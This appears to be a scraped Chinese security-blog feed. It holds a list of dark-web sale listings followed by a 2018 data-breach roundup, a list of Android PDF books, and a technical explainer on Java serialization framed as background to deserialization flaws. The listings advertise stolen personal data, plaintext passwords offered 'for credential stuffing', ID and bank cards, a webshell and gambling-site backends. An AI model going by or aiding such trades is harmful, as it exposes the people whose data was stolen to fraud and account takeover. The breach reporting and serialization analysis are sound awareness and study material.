0.00804 15天 2541 打开
405 09-24 02:47

fishdepthsnetwork
泰安教师信息47223条
0.00316 15天 4150 打开
406 12-07 11:04

deepmobao
某网贷热乎一手数据,已经去重57690条,自动发货
0.13394 15天 217 打开
407 11-15 00:22

qwe1372936656
网贷一手高炮实时1.5块 隔夜1块 欢迎老板包库
0.00158 15天 3052 打开
408 12-07 05:41

sgkzhuanmai
周内新到的股民
0.03884 15天 281 打开
409 11-29 22:57

ripi888
车贷车贷,精准数据,欢迎来撩
0.08036 15天 914 打开
410 12-06 14:57

qdqd666
2017年底数据 全国各省市楼凤小姐1W+
0.00134 15天 367 打开
411 11-15 00:30

qwe1372936656
www.wanyi777.com 11万6会员数据菠菜站10月份出库打包
0.15799 15天 1917 打开
412 11-07 00:44

dasab
出一手台湾购物订单信息
0.00027 15天 3485 打开
413 11-23 12:29

htyjdf
快速发货 一手数据 十几个股票点买站点充值数据 早上刚脱
0.01659 15天 352 打开
414 10-09 20:30

12345012345
男性壮阳保健品数据8000条
0.00107 15天 3797 打开
415 10-17 13:22

xiaoguo
2018年124届广交会内部通讯录21614条资料
0.0158 15天 1447 打开
416 11-27 11:43

dabiaogeya
最新版纯真数据库
0.00054 15天 503 打开
417 09-28 20:53

yuhong
网易163,126邮箱明文密码52G,自动发货
0.05358 15天 1446 打开
418 10-19 10:39

hunterb
2018年更新苏州楼凤小姐信息
0.00134 15天 883 打开
419 12-04 17:34

mufeng
bc数据 进来来看看
0.01072 15天 277 打开
420 12-04 14:31

wuqilong
一手贷款公司数据 有蚂蚁分
0.06965 15天 265 打开
421 07-02 03:28

956811111
出售区块链虚拟币资金盘数据
8.0E-5 15天 5918 打开
422 09-05 07:05

zldr22
天津权健140万代理详细资料
0.0158 15天 1590 打开
423 10-08 11:08

xiyuegege000
出股民资源7-9月,15w条最新资源
0.0158 15天 4764 打开
424 10-21 15:44

99117ue
全套信息出售-两万K真实数据
0.00079 15天 2238 打开
425 10-28 22:50

lucifer11
超低价出酒店开房,淘宝,163等的社工库
0.00047 15天 1647 打开
426 09-23 03:32

fishdepthsnetwork
31万网购数据
0.00316 15天 5197 打开
427 12-03 19:00

sgkzhuanmai
刚到的网易500W密正,只有账号密码,登录成功率应该在80%
0.21431 15天 317 打开
428 08-31 20:18

wikicn
5000万土耳其居民身份证信息-MYSQL整理版
0.00316 15天 4202 打开
429 10-11 11:27

fuzeiscoming
自动发货 最新4w7条p2p投资客户 身份证手机号开户行等信息
0.00804 15天 781 打开
430 11-13 15:27

gotohell
出北京一个绝对安全的美女服务场所情报
0.00016 15天 1023 打开
431 12-03 11:00

woaikoujiao
80W 17年博彩数据,低价出售,每天在线。
0.02679 15天 234 打开
432 12-03 10:48

woaikoujiao
50w机型信息,imei,品牌,imsi,型号,fingerprint等,每天在线,量大优惠
0.26788 15天 299 打开
433 12-03 10:45

woaikoujiao
80W 17年博彩数据,低价出售,每天在线
0.02679 15天 207 打开
434 11-22 16:53

cj0628
最新2W+股票数据
0.1106 15天 834 打开
435 12-02 22:40

xxyyaa123
董事长名单!80KB,。。北京为主喜欢的拿走
0.00027 15天 337 打开
436 10-23 10:20

yuhong
全国美容院信息 低价处理
0.00948 15天 818 打开
437 11-30 15:04

woowp001
出售近期银行余额数据 理财数据 出售近期银行余额数据 理财数据
0.23153 15天 616 打开
438 11-30 18:02

caibo0713
20万条股民资源
0.01152 15天 510 打开
439 12-01 23:14

vaaabbb
0--50万资金开户股民名录20000家
0.02679 15天 342 打开
440 12-01 22:51

vaaabbb
全国各地美容院和客户名单打包低价出售,信息庞大——自动发货
0.08036 15天 331 打开
441 12-02 20:32

woowp001
出售网贷数据 额度高 成单率高 每条4元
0.09628 15天 419 打开
442 11-02 17:20

mmctx119
出售全国股民数据
0.01422 15天 906 打开
443 09-29 00:57

yuhong
历年电视购物收藏品类数据打包低价处理
0.00536 15天 1381 打开
444 07-18 17:14

bijiaodiao1688
顺丰3亿条快递物流独家数据
0.0158 15天 18466 打开
445 10-12 17:06

yuhong
某AV站 172559条会员信息
0.0158 15天 1479 打开
446 11-30 16:20

yuhong
网易邮箱1100万-明文-低价处理
0.00335 15天 413 打开
447 11-30 14:56

yuhong
网易邮箱1.5亿条明文-低价-撞库必备
0.01875 15天 425 打开
448 10-12 16:51

yuhong
sex8数据库54850条,白菜价处理
0.0158 15天 1290 打开
449 11-30 00:35

test2019
5000条钓鱼数据库资料包括姓名手机号卡号
0.00134 15天 456 打开
450 11-30 00:00

woowp001
出售网贷申请通过数据
0.05788 15天 488 打开

451 11-29 23:50

woowp001
网贷数据 平台贷款二次以上顾客数据
0.05794 15天 410 打开
452 11-24 19:56

caibo0713
4万条股民资源0.02BTC,带资金量,姓名,股票代码等
0.03163 15天 516 打开
453 11-13 18:22

yunlianhui
京东一万条数据,都是人才!!!
0.00474 15天 1006 打开
454 11-29 17:16

acktesttest
16年京东12G
0.16088 15天 814 打开
455 11-29 16:52

caibo0713
4万条16-17年股民资源
0.01153 15天 381 打开
456 11-02 12:18

woowp001
出银行理财产品数据 出银行理财产品数据
0.15814 15天 1441 打开
457 11-30 15:00

woowp001
出售云集网购商城购物数据 出售云集网购商城购物数据
0.11587 15天 478 打开
458 11-20 20:22

yuhong
京东7万多条账号密码
0.00158 15天 755 打开
459 11-20 20:37

yuhong
京东39万老账号数据
0.00949 15天 694 打开
460 11-10 14:55

hackawolf
最新全国网贷11月新库-20W条低价处理-自动发货
0.03953 15天 1915 打开
461 11-29 11:03

bb996589
出售全国各省市本地生活信息数据
0.99207 15天 417 打开
462 11-29 10:24

bb996589
出售某教育机构webshell权限
0.26813 15天 445 打开
463 11-09 23:38

a2829220
工作室韩国游戏数据整合出售
0.17857 15天 1233 打开
464 11-15 11:10

guohan201314
低价出售新博彩客户数据 1.7万条只需自动发货0.01btu
0.01581 15天 1179 打开
465 07-31 13:14

bijiaodiao1688
顺丰2017泄露
0.15814 15天 11965 打开
466 11-27 13:14

quit088
出售菠菜网站的后台
1.07251 15天 709 打开
467 11-28 18:13

yuhong
网易邮箱365万数据 低价处理
0.01073 15天 472 打开
468 11-28 17:58

yuhong
搜狐88万密正 低价处理
0.00161 15天 418 打开
469 11-28 17:50

yuhong
网易邮箱明文密码100万条 低价处理
0.00536 15天 437 打开
470 11-28 15:49

dudu123
出售2018年11月28日摄像头数据。支持安卓苹果电脑在线观看
0.00389 15天 452 打开
471 10-21 20:58

hunterb
京东数据(用户名+密码)-低价-自动发货
0.00268 15天 2638 打开
472 11-28 15:08

yuhong
1000万条博彩数据,低价处理
0.12066 15天 459 打开
473 11-28 14:44

aiainio123
50万网贷数据出售
0.02011 15天 437 打开
474 11-28 14:40

aiainio123
微交易出售
0.00027 15天 408 打开
475 11-28 13:56

yuhong
国内邮箱地址10亿条 低价处理
0.05363 15天 381 打开
476 11-12 13:41

wuqilong
自己做博彩狗推时候的客户信息
0.01898 15天 1257 打开
477 11-07 01:14

guohan201314
出售几十个博彩站的数据获取漏洞 要一手数据的进来看了
0.47442 15天 2144 打开
478 11-10 09:42

a2829220
出自己工作室的全地区邮箱数据整出
0.14881 15天 864 打开
479 11-28 09:40

anwang898956789
最新价值5000USDT15G裸贷资源附赠2000w最新酒店信息资源!!
0.01555 15天 408 打开
480 11-20 20:06

yuhong
QQ明文密码18000条
0.00158 15天 760 打开
481 11-27 18:44

segatemp
IT行业软件服务外包行业龙头企业内部通讯录(样例100条)
0.00536 15天 427 打开
482 09-05 19:17

temptemp
来自某社工群的数据库
0.00158 15天 3513 打开
483 11-27 17:27

zdp147258
zte中兴事件2011年被制裁中信内部文件
0.00134 15天 408 打开
484 11-09 17:44

shadoumai
网络贷数据,便宜处理了
0.01977 15天 1180 打开
485 11-25 09:49

yuhong
重发 郑州市小区资料
0.09384 15天 363 打开
486 11-26 18:32

yuhong
194万德国邮箱明文密码
0.04022 15天 404 打开
487 11-26 18:04

yuhong
1500万台湾邮箱明文密码
0.08044 15天 467 打开
488 11-26 18:03

liujz001
身份证高清正反面带银行卡 600多套+60200北京民生银行金卡带身份证号
0.00483 15天 419 打开
489 11-26 17:42

liujz001
8258条全国夫妻交友换妻+2018年北京楼凤+15万条全国高端伴游+楼凤小姐信息(部分已验证)
0.00751 15天 481 打开
490 11-20 09:19

yuhong
平安直销车险2500万条数据
0.06703 15天 886 打开
491 10-24 13:44

hunterb
银行数据-千万级别大客户-21.2万份-低价自动发货
0.00253 15天 2577 打开
492 11-26 13:36

yuhong
咪兔社区30万条用户信息
0.00791 15天 429 打开
493 11-26 13:11

yuhong
人和网51万账号密码
0.00949 15天 334 打开
494 11-26 12:55

yuhong
世纪天成30万条信息
0.00949 15天 375 打开
495 11-26 12:40

yuhong
挖财信用卡之家用户18万条
0.03218 15天 377 打开
496 10-19 21:44

a2829220
博彩站邮件营销数据高质量1300万打包出
0.2381 15天 2159 打开
497 11-22 19:23

yuhong
腾讯,阿里,百度,盛大,万科,芒果等内部通讯录大全
0.16088 15天 559 打开
498 11-01 10:28

gwfgwf002878
出贷款 淘宝数据 持续更新
0.00016 15天 2089 打开
499 10-09 23:43

yuhong
北京银行会员26万条 低价处理
0.00316 15天 727 打开
500 11-25 11:10

despot123
2018某投顾公司推广引流数据17W条
0.15814 15天 304 打开 
2018年数据泄露汇总

以上为前500条在暗网出售的信息,真实性有待考察,仅作参考

4:Facebook数据泄露

规模:至少8700万条 事件:2018年3月17日,《纽约时报》报道称,剑桥咨询公司获得了超5000万的Facebook用户数据访问权限。数据泄露的源头是一款名为“this is your digital life”的APP,用于给Facebook用户提供个性分析测试。 原因:“this is your digital life”通过奖金诱惑,获得了27万用户在Facebook的信息;又以裂变营销方式获得每一位用户的185名好友的Facebook信息,这样计算: 27万×185=4995万,近5000万的Facebook用户数据就这样被剑桥咨询公司窃取了。 4月,Facebook通知其平台上的8700万名用户,他们的数据已经遭到泄露。

5: 2018.1月印度国家数据库 Aadhaar泄漏

规模:11亿条数据
事件:2018年1月4日,印度乡村企业家 Bharat Bhushan Gupta爆料说,有人在移动社交工具WhatsApp上向他推销Aadhaar数据库,购买之后,Aadhaar数据库确实为他提供了大量意想不到的用户信息。
原因:据悉,Aadhaar数据库的登录和e-Aadhaar的下载存在风险:利用DBT Seeding Data Viewer (DSDV)的系统,允许第三方通过白名单IP地址登入Aadhaar数据库,也就意味着任何有正确IP地址的人都可以访问这一系统

6、2018.4: Panerabread泄露顾客记录
规模:3700万条
事件:2018年4月2日,网络安全公司KrebsOnSecurity发表的文章中指出,美国最大面包连锁店Panerabread旗下网站panerabread[.]com泄露了数百万顾客记录,包括姓名、生日、电子邮箱地址、家庭住址以及信用卡号码的最后四位数字 。
原因:Panerabread允许顾客通过panerabread[.]com进行注册来在线订购食品,但Panerabread网站的纯文本数据却包含了所有注册顾客的详细个人资料——明文显示着个人信息。

7、2018.4:黑客入侵Hudson’s Bay
规模:500万条
事件:2018年4月,加拿大哈德森湾公司(Hudson’s Bay)旗下包括美国高档精品连锁百货Saks Fifth Avenue、SaksOff 5th和Lord & Taylor这几家商场,遭受黑客侵入,盗取500d多万张信用卡和借记卡信息,并已经将其中12.5万名用户的信用卡信息在黑市上倒卖。
原因:黑客主要是通过向这些百货公司的员工发送精心伪装的病毒邮件,从而成功入侵了公司的电脑系统。

8、2018.5:Ticketfly遭黑客攻击
规模:2700万条
事件: 5月31日,美国票务巨头Ticketfly遭遇攻击,导致音乐会和体育赛事票务网站遭到破坏,并离线和中断一周。
原因:黑客劫持了Ticketfly网站,用一个包含2700万个Ticketfly账户相关信息(如姓名、家庭住址、电子邮箱地址和电话号码等,涉及员工和用户)的页面,替换了它的主页。

9、2018.6:Exactis数据泄漏
规模:4亿条
事件:安全研究员Vinny Troia在2018年6月发现,总部位于佛罗里达州的市场营销和数据聚合公司Exactis已将一个数据库暴露在可公开访问的服务器上。该数据库包含2TB的信息,其中包括数亿美国人和企业的详细信息。
原因:此次Exactis的信息泄露并不是黑客撞库引起或者其它恶意攻击,而是他们自己的服务器没有防火墙加密,直接暴露在公共的数据库查找范围内。

10、2018.6:圆通数据泄漏
规模:10亿条
事件:6月19日,暗网上开售圆通快递10亿条快递数据,售卖的数据为2014年下旬的数据,数据信息包括寄(收)件人姓名,电话,地址等信息,10亿条数据已经经过去重处理,数据重复率低于20%,并以1比特币打包出售。
原因:不明 来源于:https://baijiahao.baidu.com/s?id=1612834614858384388&wfr=spider&for=pc

11、2018.6:Myheritage数据泄漏
规模:9200万条
事件:Myheritage 公司研究人员外在外网私有服务器上发现了该公司 9230 万个用户的邮箱地址和哈希密码。这样海量的数据被存储在一个文件中,据专家分析,这些数据真实可信而且确实来自
原因:该公司称,它们并没有发现这些泄露数据遭到滥用的情况,而且黑客只是入侵了用户邮箱地址。

太多了,压根写不完,这些只是我们能看到的冰山一角.数据泄露的途径一般都是,黑客攻击,内鬼,管理员马虎大意设置弱口令密码,服务器漏洞百出没有及时修复,服务器常年不维护,维护人员技术渣(这个主要是招聘人员眼睛瞎造成的怪不得别人).

2018年数据泄露汇总

以上内容来源于暗网,仅作为参考,并不保证所有数据都是真实泄露,只能说是疑似泄露,毕竟暗网是个虚虚实实,真真假假, 鱼目混珠, 高手云集,鱼龙混杂的地方,也许有些人为了恶意诋毁一些公司或者不正当竞争用的不光彩手段.当然,对于这种事宁可信其有的好. 有上榜公司的尽快排查隐患,防患于未然或者说亡羊补牢,黑客手中的信息绝不止我列出来的这冰山一角

忘了补一个了,虽然之前发过:2万多名FBI警员信息泄露 包含姓名 邮箱 职务 电话等信息

希望新的一年里不要有那么多数据泄露的新闻出来了,真害怕被人知道我银行卡里其实才有十几块钱$

2018年数据泄露汇总

The post 2018年数据泄露汇总 何谈隐私保护?谁来保护? appeared first on 🔰雨苁ℒ🔰.

Android书籍推荐 黑客书籍之 Android books

$
0
0

Android书籍推荐 黑客书籍 渗透测试技术手册下载

Android书籍推荐 黑客书籍之 Android 如果你对黑客硬件感兴趣,那么这本由著名硬件黑客Andrew “bunnie” Huang撰写的书,将是你的不二之选,在本书中,作者(也是《Hacking the Xbox》的作者)将带你了解更多硬件制造的各种细节,包含逆向工程等主题



Android Application Development from A to Z.pdf 903K

Android Application Development in 24 Hours.pdf 27M

Android Apps For Absolute Beginners.pdf 68M

Android Cookbook.pdf 8.5M

Android Forensics.pdf 39M

Android Fully Loaded by Rob Huddleston.pdf 2.8M

Android Programming Tutorials.pdf 15M

Android Wireless Application Development Second Edition.pdf 13M

Android.User.Interface.Development.Beginner.Guide.pdf 2.2M

Android.in.Action.2nd.Edition.pdf 18M

Android.in.Action.3rd.Edition.pdf 15M

Android.pdf 9.8M

AndroidForAllrus.pdf 6.4M

Android_Application_Development_For_Dummies.pdf 9.9M

Application.Security.for.the.Android.Platform.pdf 5.5M

Apress Android Essentials (2008).pdf 1.1M

Apress Beginning Android 4 (2012).pdf 28M

Apress. Robbie Matthews. Beginning Android Tablet Programming. 2011.pdf 55M

Apress.Pro.Android.3.Apr.2011.pdf 25M

Beginning Android ADK with Arduino (2012).pdf 9.8M

Beginning Android Application Development (Wrox, 2011, 1118017110).pdf 22M

Beginning Android.pdf 27M

Beginning.Android.4.pdf 28M

CommonsWare.The.Busy.Coders.Guide.to.Advanced.Android.Development.Mar.2011.pdf 16M

Decompiling.Android.pdf 4.5M

Embedded Android – Yaghmour – O’Reilly (2011).pdf 2.2M

Frank Ableson, Robi Sen, Chris King – Android in Action 2nd Edition – 2011.pdf 16M

KomatineniSatyaProAndroid3-2011.pdf 24M

Mario Zechner – Beginning Android Games – 2011.pdf 47M

Mark L Murphy – Android Programming Tutorials, 3rd Edition – 2011.pdf 11M

Mednieks Z. – Programming Android 2nd Edition – 2012.pdf 8.2M

Mednieks Zigurd – Programming Android – 2011.pdf 12M

Merrifield Mew K. – Android 3.0 Application Development Cookbook – 2011.pdf 9.6M

Milano_Diego_Torres_-_Android_Application_Testing_Guide_-_2011.pdf 7.0M

Milette G., Stroud A. – Professional Android Sensor Programming – 2012.pdf 15M

OReilly Learning Android (2011).pdf 9.5M

OReilly Programming Android (2011).pdf 10M

Oreilly.Developing.Android.Applications.with.Flex.4.5.May.2011.pdf 8.6M

Oreilly.Learning.Android.Mar.2011.pdf 9.5M

Ostrander J. – Android UI Fundamentals Develop and Design – 2012.pdf 3.6M

Practical.Android.Projects.pdf 17M

Prentice.Hall.Android.for.Programmers.pdf 15M

Pro Android-3.pdf 27M

Pro.Android.Web.Apps.pdf 13M

Professional.Android.2.Application.Development.(Wrox,.2010,.0470565527).pdf 20M

Satya Komatineni and Dave MacLean – Pro Android 4 – 2012.pdf 31M

Smith Dave – Android Recipes A Problem-Solution Approach – 2011.pdf 11M

The Android Developer’s Cookbook, Building Applications with the Android SDK.pdf 3.4M

The Complete Guide to Google Android – 2010.pdf 43M

The.Android.Developers.Cookbook.pdf 4.5M

Veronique Brossier – Developing Android Applications with Adobe AIR – 2011.pdf 7.5M

Wei-Meng Lee – Beginning Android Tablet Application Development- 2011.pdf 52M

Wiley – Amazing Android Apps For Dummies.pdf 70M

Wrox Press Beginning Android 4 Application Development (2012).pdf 60M

The post Android书籍推荐 黑客书籍之 Android books appeared first on 🔰雨苁ℒ🔰.

java反序列化漏洞 和 Java序列化机制浅析

$
0
0

java反序列化漏洞

序列化机制

序列化 (Serialization) 是指将数据结构或对象状态转换成字节流 (例如存储成文件、内存缓冲,或经由网络传输) ,以留待后续在相同或另一台计算机环境中,能够恢复对象原来状态的过程。序列化机制在Java中有着广泛的应用,EJB、RMI、Hessian等技术都以此为基础。

序列化

java反序列化漏洞

我们先用一个简单的序列化示例来看看Java究竟是如何对一个对象进行序列化的:

public class SerializationDemo implements Serializable {
    private String stringField;
    private int intField;

    public SerializationDemo(String s, int i) {
        this.stringField = s;
        this.intField = i;
    }

    public static void main(String[] args) throws IOException {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bout);
        out.writeObject(new SerializationDemo("gyyyy", 97777));
    }
}

如果熟悉PHP的同学应该知道,这个对象在经过PHP序列化后得到的字符串如下 (因为PHP与Java的编程习惯有所区别,这里字段访问权限全改为了publicprivateprotected从表现形式上来说差不多,只是多了些特殊的标识而已,为了减少一些零基础的同学不必要的疑惑,这里暂不讨论) :

O:17:"SerializationDemo":2:{s:11:"stringField";s:5:"gyyyy";s:8:"intField";i:97777;}

其中,O:17:"..."表示当前是一个对象,以及该对象类名的字符串长度和值,2:{...}表示该类有2个字段 (元素间用;分隔,键值对也分为前后两个元素表示,也就是说,如果是2个字段,则总共会包含4个元素)s:11:"..."表示当前是一个长度为11的字符串,i:...表示当前是一个整数。

由此可知,PHP序列化字符串基本上是可人读的,而且对于类对象来说,字段等成员属性的序列化顺序与定义顺序一致。我们完全可以通过手工的方式来构造任意一个PHP对象的序列化字符串。

而该对象经过Java序列化后得到的则是一个二进制串:

ac ed 00 05 73 72 00 11  53 65 72 69 61 6c 69 7a    ....sr.. Serializ
61 74 69 6f 6e 44 65 6d  6f d9 35 3c f7 d6 0a c6    ationDem o.5<....
d5 02 00 02 49 00 08 69  6e 74 46 69 65 6c 64 4c    ....I..i ntFieldL
00 0b 73 74 72 69 6e 67  46 69 65 6c 64 74 00 12    ..string Fieldt..
4c 6a 61 76 61 2f 6c 61  6e 67 2f 53 74 72 69 6e    Ljava/la ng/Strin
67 3b 78 70 00 01 7d f1  74 00 05 67 79 79 79 79    g;xp..}. t..gyyyy

仔细观察二进制串中的部分可读数据,我们也可以差不多分辨出该对象的一些基本内容。但同样为了手写的目的 (为什么有这个目的?原因很简单,为了不被语言环境束缚) ,以及为接下来的序列化执行流程分析做准备,我们先依次来解读一下这个二进制串中的各个元素。

  • 0xaced,魔术头
  • 0x0005,版本号 (JDK主流版本一致,下文如无特殊标注,都以JDK8u为例)
  • 0x73,对象类型标识 0x7n基本上都定义了类型标识符常量,但也要看出现的位置,毕竟它们都在可见字符的范围,详见java.io.ObjectStreamConstants
  • 0x72,类描述符标识
  • 0x0011...,类名字符串长度和值 (Java序列化中的UTF8格式标准)
  • 0xd9353cf7d60ac6d5,序列版本唯一标识 serialVersionUID,简称SUID)
  • 0x02,对象的序列化属性标志位,如是否是Block Data模式、自定义writeObject()SerializableExternalizableEnum类型等
  • 0x0002,类的字段个数
  • 0x49,整数类型签名的第一个字节,同理,之后的0x4c为字符串类型签名的第一个字节 (类型签名表示与JVM规范中的定义相同)
  • 0x0008...,字段名字符串长度和值,非原始数据类型的字段还会在后面加上数据类型标识、完整类型签名长度和值,如之后的0x740012...
  • 0x78 Block Data结束标识
  • 0x70 父类描述符标识,此处为null
  • 0x00017df1 整数字段intField的值 (Java序列化中的整数格式标准) ,非原始数据类型的字段则会按对象的方式处理,如之后的字符串字段stringField被识别为字符串类型,输出字符串类型标识、字符串长度和值

由此可以看出,除了基本格式和一些整数表现形式上的不同之外,Java和PHP的序列化结果还是存在很多相似的地方,比如除了具体值外都会对类型进行描述。

需要注意的是,Java序列化中对字段进行封装时,会按原始和非原始数据类型排序 (有同学可能想问为什么要这么做,这里我只能简单解释原因有两个,一是因为它们两个的表现形式不同,原始数据类型字段可以直接通过偏移量读取固定个数的字节来赋值;二是在封装时会计算原始类型字段的偏移量和总偏移量,以及非原始类型字段的个数,这使得反序列化阶段可以很方便的把原始和非原始数据类型分成两部分来处理) ,且其中又会按字段名排序。

而开头固定的0xaced0005也可以作为Java序列化二进制串 (Base64编码为rO0AB... 的识别标识。

让我们把这个对象再改复杂些:

class SerializationSuperClass implements Serializable {
    private String superField;
}

class SerializationComponentClass implements Serializable {
    private String componentField;
}

public class SerializationDemo extends SerializationSuperClass implements Serializable {
    private SerializationComponentClass component;
    // omit
}

它序列化后的二进制串大家可以自行消化理解一下,注意其中的嵌套对象,以及0x71表示的Reference类型标识 (形式上与JVM的常量池类似,用于非原始数据类型的引用对象池索引,这个引用对象池在序列化和反序列化创建时的元素填充顺序会保持一致) :

ac ed 00 05 73 72 00 11  53 65 72 69 61 6c 69 7a    ....sr.. Serializ
61 74 69 6f 6e 44 65 6d  6f 1a 7f cd d3 53 6f 6b    ationDem o....Sok
15 02 00 03 49 00 08 69  6e 74 46 69 65 6c 64 4c    ....I..i ntFieldL
00 09 63 6f 6d 70 6f 6e  65 6e 74 74 00 1d 4c 53    ..compon entt..LS
65 72 69 61 6c 69 7a 61  74 69 6f 6e 43 6f 6d 70    erializa tionComp
6f 6e 65 6e 74 43 6c 61  73 73 3b 4c 00 0b 73 74    onentCla ss;L..st
72 69 6e 67 46 69 65 6c  64 74 00 12 4c 6a 61 76    ringFiel dt..Ljav
61 2f 6c 61 6e 67 2f 53  74 72 69 6e 67 3b 78 72    a/lang/S tring;xr
00 17 53 65 72 69 61 6c  69 7a 61 74 69 6f 6e 53    ..Serial izationS
75 70 65 72 43 6c 61 73  73 de c6 50 b7 d1 2f a3    uperClas s..P../.
27 02 00 01 4c 00 0a 73  75 70 65 72 46 69 65 6c    '...L..s uperFiel
64 71 00 7e 00 02 78 70  70 00 01 7d f1 73 72 00    dq.~..xp p..}.sr.
1b 53 65 72 69 61 6c 69  7a 61 74 69 6f 6e 43 6f    .Seriali zationCo
6d 70 6f 6e 65 6e 74 43  6c 61 73 73 3c 76 ba b7    mponentC lass<v..
dd 9e 76 c4 02 00 01 4c  00 0e 63 6f 6d 70 6f 6e    ..v....L ..compon
65 6e 74 46 69 65 6c 64  71 00 7e 00 02 78 70 70    entField q.~..xpp
74 00 05 67 79 79 79 79                             t..gyyyy

简单的分析一下序列化的执行流程:

  1. ObjectOutputStream实例初始化时,将魔术头和版本号写入bout BlockDataOutputStream类型) 中
  2. 调用ObjectOutputStream.writeObject()开始写对象数据
    • ObjectStreamClass.lookup()封装待序列化的类描述 (返回ObjectStreamClass类型) ,获取包括类名、自定义serialVersionUID、可序列化字段 (返回ObjectStreamField类型) 和构造方法,以及writeObjectreadObject方法等
    • writeOrdinaryObject()写入对象数据
      • 写入对象类型标识
      • writeClassDesc()进入分支writeNonProxyDesc()写入类描述数据
        • 写入类描述符标识
        • 写入类名
        • 写入SUID (当SUID为空时,会进行计算并赋值,细节见下面关于SerialVersionUID章节)
        • 计算并写入序列化属性标志位
        • 写入字段信息数据
        • 写入Block Data结束标识
        • 写入父类描述数据
      • writeSerialData()写入对象的序列化数据
        • 若类自定义了writeObject(),则调用该方法写对象,否则调用defaultWriteFields()写入对象的字段数据 (若是非原始类型,则递归处理子对象)

反序列化

继续用简单的示例来看看反序列化:

public static void main(String[] args) throws ClassNotFoundException {
    byte[] data; // read from file or request
    ByteArrayInputStream bin = new ByteArrayInputStream(data);
    ObjectInputStream in = new ObjectInputStream(bin);
    SerializationDemo demo = (SerializationDemo) in.readObject();
}

它的执行流程如下:

  1. ObjectInputStream实例初始化时,读取魔术头和版本号进行校验
  2. 调用ObjectInputStream.readObject()开始读对象数据
    • 读取对象类型标识
    • readOrdinaryObject()读取数据对象
      • readClassDesc()读取类描述数据
        • 读取类描述符标识,进入分支readNonProxyDesc()
        • 读取类名
        • 读取SUID
        • 读取并分解序列化属性标志位
        • 读取字段信息数据
        • resolveClass()根据类名获取待反序列化的类的Class对象,如果获取失败,则抛出ClassNotFoundException
        • skipCustomData()循环读取字节直到Block Data结束标识为止
        • 读取父类描述数据
        • initNonProxy()中判断对象与本地对象的SUID和类名 (不含包名) 是否相同,若不同,则抛出InvalidClassException
      • ObjectStreamClass.newInstance()获取并调用离对象最近的非Serializable的父类的无参构造方法 (若不存在,则返回null 创建对象实例
      • readSerialData()读取对象的序列化数据
        • 若类自定义了readObject(),则调用该方法读对象,否则调用defaultReadFields()读取并填充对象的字段数据

关于SerialVersionUID

在Java的序列化机制中,SUID占据着很重要的位置,它相当于一个对象的指纹信息,可以直接决定反序列化的成功与否,通过上面对序列化和反序列化流程的分析也可以看出来,若SUID不一致,是无法反序列化成功的。

但是,SUID到底是如何生成的,它的指纹信息维度包括对象的哪些内容,可能还是有很多同学不太清楚。这里我们对照官方文档的说明,结合JDK的源代码来为大家简单的梳理一下。

首先ObjectStreamClass.getSerialVersionUID()在获取SUID时,会判断SUID是否已经存在,若不存在才调用computeDefaultSUID()计算默认的SUID:

public long getSerialVersionUID() {
    if (suid == null) {
        suid = AccessController.doPrivileged(
            new PrivilegedAction<Long>() {
                public Long run() {
                    return computeDefaultSUID(cl);
                }
            }
        );
    }
    return suid.longValue();
}

先顺带提一嘴,AccessController.doPrivileged()会忽略JRE配置的安全策略的检查,以特权的身份去执行PrivilegedAction接口中的run(),可以防止JDK底层在进行序列化和反序列化时可能出现的一些权限问题。这些内容与本文主题无关,不多作详细解释,感兴趣的同学可以去看看Java的Security包和其中的java.policy、java.security文件内容。

重点来了,计算SUID时,会先创建一个DataOutputStream对象,所有二进制数据写入其包装的ByteArrayOutputStream中:

  1. 写入类名 (UTF8)dout.writeUTF(cl.getName());
  2. 写入类访问权限标识int classMods = cl.getModifiers() & (Modifier.PUBLIC | Modifier.FINAL | Modifier.INTERFACE | Modifier.ABSTRACT); Method[] methods = cl.getDeclaredMethods(); if ((classMods & Modifier.INTERFACE) != 0) { classMods = (methods.length > 0) ? (classMods | Modifier.ABSTRACT) : (classMods & ~Modifier.ABSTRACT); } dout.writeInt(classMods);
  3. 如果不是数组类型,写入实现接口的接口名,按接口名排序if (!cl.isArray()) { Class<?>[] interfaces = cl.getInterfaces(); String[] ifaceNames = new String[interfaces.length]; for (int i = 0; i < interfaces.length; i++) { ifaceNames[i] = interfaces[i].getName(); } Arrays.sort(ifaceNames); for (int i = 0; i < ifaceNames.length; i++) { dout.writeUTF(ifaceNames[i]); } }
  4. 写入非私有静态或瞬态字段信息数据,包括字段名、字段访问权限标识和字段签名,按字段名排序Field[] fields = cl.getDeclaredFields(); MemberSignature[] fieldSigs = new MemberSignature[fields.length]; for (int i = 0; i < fields.length; i++) { fieldSigs[i] = new MemberSignature(fields[i]); } Arrays.sort(fieldSigs, new Comparator<MemberSignature>() { public int compare(MemberSignature ms1, MemberSignature ms2) { return ms1.name.compareTo(ms2.name); } }); for (int i = 0; i < fieldSigs.length; i++) { MemberSignature sig = fieldSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE | Modifier.TRANSIENT); if (((mods & Modifier.PRIVATE) == 0) || ((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0)) { dout.writeUTF(sig.name); dout.writeInt(mods); dout.writeUTF(sig.signature); } }
  5. 如果存在类初始化器 (不是类实例化的构造方法,感兴趣的同学可以去看看JVM规范中的相关内容) ,写入固定的初始化器信息数据if (hasStaticInitializer(cl)) { dout.writeUTF(“<clinit>”); dout.writeInt(Modifier.STATIC); dout.writeUTF(“()V”); }
  6. 写入非私有构造方法信息数据,包括方法名 (固定为<init> 、方法访问权限标识和方法签名 (分隔符/会替换成.的包名形式) ,按方法签名排序Constructor<?>[] cons = cl.getDeclaredConstructors(); MemberSignature[] consSigs = new MemberSignature[cons.length]; for (int i = 0; i < cons.length; i++) { consSigs[i] = new MemberSignature(cons[i]); } Arrays.sort(consSigs, new Comparator<MemberSignature>() { public int compare(MemberSignature ms1, MemberSignature ms2) { return ms1.signature.compareTo(ms2.signature); } }); for (int i = 0; i < consSigs.length; i++) { MemberSignature sig = consSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.SYNCHRONIZED | Modifier.NATIVE | Modifier.ABSTRACT | Modifier.STRICT); if ((mods & Modifier.PRIVATE) == 0) { dout.writeUTF(“<init>”); dout.writeInt(mods); dout.writeUTF(sig.signature.replace(‘/’, ‘.’)); } }
